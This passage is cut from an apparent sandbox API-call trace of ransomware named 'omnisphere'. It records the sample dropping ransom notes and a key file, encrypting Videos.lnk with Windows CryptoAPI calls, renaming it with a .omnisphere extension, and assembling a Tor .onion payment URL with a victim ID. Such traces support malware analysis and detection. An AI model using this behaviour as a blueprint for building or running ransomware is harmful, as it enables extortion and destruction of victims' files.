pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.225] GetProcessHeap () returned 0x1600000 [0127.225] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e77e0 [0127.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.225] WriteFile (in: hFile=0x28c, lpBuffer=0x16e77e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e77e0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.225] CloseHandle (hObject=0x28c) returned 1 [0127.225] GetProcessHeap () returned 0x1600000 [0127.225] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f20c0 | out: hHeap=0x1600000) returned 1 [0127.225] GetProcessHeap () returned 0x1600000 [0127.225] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.225] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.226] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.226] CloseHandle (hObject=0x28c) returned 1 [0127.226] GetProcessHeap () returned 0x1600000 [0127.226] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.226] GetProcessHeap () returned 0x1600000 [0127.226] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b808 | out: hHeap=0x1600000) returned 1 [0127.226] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa428bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22ce06ed, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22ce06ed, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Videos.lnk", cAlternateFileName="")) returned 1 [0127.226] GetProcessHeap () returned 0x1600000 [0127.226] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b808 [0127.226] PathCombineW (in: pszDest=0x167b808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Videos.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" [0127.226] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.226] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=741) returned 1 [0127.226] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.227] GetTickCount () returned 0x115fbf0 [0127.228] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16691a8) returned 1 [0127.228] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.228] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.228] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0127.228] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e5, lpName=0x0) returned 0x288 [0127.228] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e5) returned 0x1480000 [0127.229] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0127.229] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0127.229] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.229] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.230] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.231] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.231] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.231] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2e5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.231] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.231] GetProcessHeap () returned 0x1600000 [0127.231] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16efe60 [0127.231] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk.omnisphere")) returned 1 [0127.232] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk.omnisphere.id" [0127.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.233] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.234] CloseHandle (hObject=0x3c0) returned 1 [0127.234] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.234] CloseHandle (hObject=0x288) returned 1 [0127.234] SetEndOfFile (hFile=0x28c) returned 1 [0127.234] FlushFileBuffers (hFile=0x28c) returned 1 [0127.237] CloseHandle (hObject=0x28c) returned 1 [0127.237] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.237] GetProcessHeap () returned 0x1600000 [0127.237] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f20c0 [0127.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.237] GetProcessHeap () returned 0x1600000 [0127.237] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1af0 [0127.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1af0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.238] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.238] GetProcessHeap () returned 0x1600000 [0127.238] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8388 [0127.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8388, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.238] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.238] GetProcessHeap () returned 0x1600000 [0127.238] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16da478 [0127.238] PathCombineW (in: pszDest=0x16da478, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.238] GetProcessHeap () returned 0x1600000 [0127.238] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ea620 [0127.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.238] WriteFile (in: hFile=0x28c, lpBuffer=0x16ea620*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ea620*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.238] CloseHandle (hObject=0x28c) returned 1 [0127.238] GetProcessHeap () returned 0x1600000 [0127.238] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f20c0 | out: hHeap=0x1600000) returned 1 [0127.238] GetProcessHeap () returned 0x1600000 [0127.238] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.239] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: 